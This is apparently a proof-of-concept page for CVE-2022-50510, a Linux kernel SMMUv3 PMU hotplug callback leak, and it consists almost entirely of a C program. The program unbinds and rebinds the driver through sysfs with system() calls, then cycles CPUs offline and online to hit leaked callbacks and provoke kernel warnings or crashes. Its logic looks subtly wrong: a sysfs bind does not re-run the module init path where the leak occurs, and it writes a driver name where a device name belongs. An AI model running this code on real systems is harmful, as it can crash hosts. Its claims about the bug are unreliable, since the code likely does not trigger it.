CVE-2022-50510 Linux内核perf/smmuv3热插拔回调泄漏漏洞

/* CVE-2022-50510 PoC - Trigger hotplug callback leak * * This PoC demonstrates the vulnerability by attempting to force * arm_smmu_pmu_init() to fail at platform_driver_register() stage, * leaving the cpuhp callback registered. * * Note: Requires SMMUv3 PMU hardware or a compatible test environment. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <errno.h> #define SYSFS_CPU_PATH "/sys/devices/system/cpu" #define SMMUV3_PMU_DEV "/sys/bus/platform/drivers/arm-smmu-pmu" /* Attempt to trigger arm_smmu_pmu reinitialization */ static int trigger_smmuv3_pmu_reinit(void) { int ret; /* Try to unbind and rebind the driver to trigger init path */ /* This may cause platform_driver_register to fail under certain conditions */ ret = system("echo arm-smmu-pmu > /sys/bus/platform/drivers/arm-smmu-pmu/unbind 2>/dev/null"); if (ret != 0) { fprintf(stderr, "Failed to unbind driver: %d\n", ret); return -1; } /* Small delay */ usleep(100000); /* Rebind - if conditions are right, this triggers the leak */ ret = system("echo arm-smmu-pmu > /sys/bus/platform/drivers/arm-smmu-pmu/bind 2>/dev/null"); return ret; } /* Force CPU hotplug events to trigger leaked callbacks */ static int force_cpu_hotplug(int cpu) { char path[256]; char buf[16]; int fd; snprintf(path, sizeof(path), "%s/cpu%d/online", SYSFS_CPU_PATH, cpu); /* Offline the CPU */ fd = open(path, O_WRONLY); if (fd < 0) { perror("open online"); return -1; } write(fd, "0", 1); close(fd); usleep(500000); /* Online the CPU - triggers hotplug callback */ fd = open(path, O_WRONLY); if (fd < 0) { perror("open online"); return -1; } write(fd, "1", 1); close(fd); return 0; } int main(int argc, char *argv[]) { int i, num_cpus; printf("CVE-2022-50510 PoC - SMMUv3 PMU hotplug callback leak\n"); /* Detect number of CPUs */ num_cpus = sysconf(_SC_NPROCESSORS_ONLN); printf("Detected %d CPUs\n", num_cpus); /* Step 1: Trigger the leak by forcing reinit failure */ printf("[*] Triggering arm_smmu_pmu_init() failure path...\n"); for (i = 0; i < 10; i++) { if (trigger_smmuv3_pmu_reinit() != 0) { printf("[+] Potential leak triggered on iteration %d\n", i); break; } } /* Step 2: Force CPU hotplug to invoke leaked callbacks */ printf("[*] Forcing CPU hotplug events...\n"); for (i = 1; i < num_cpus && i < 4; i++) { printf("[*] Cycling CPU %d\n", i); if (force_cpu_hotplug(i) != 0) { printf("[-] Failed to cycle CPU %d (may need root)\n", i); } } printf("[*] Done. Check dmesg for kernel warnings or crashes.\n"); return 0; }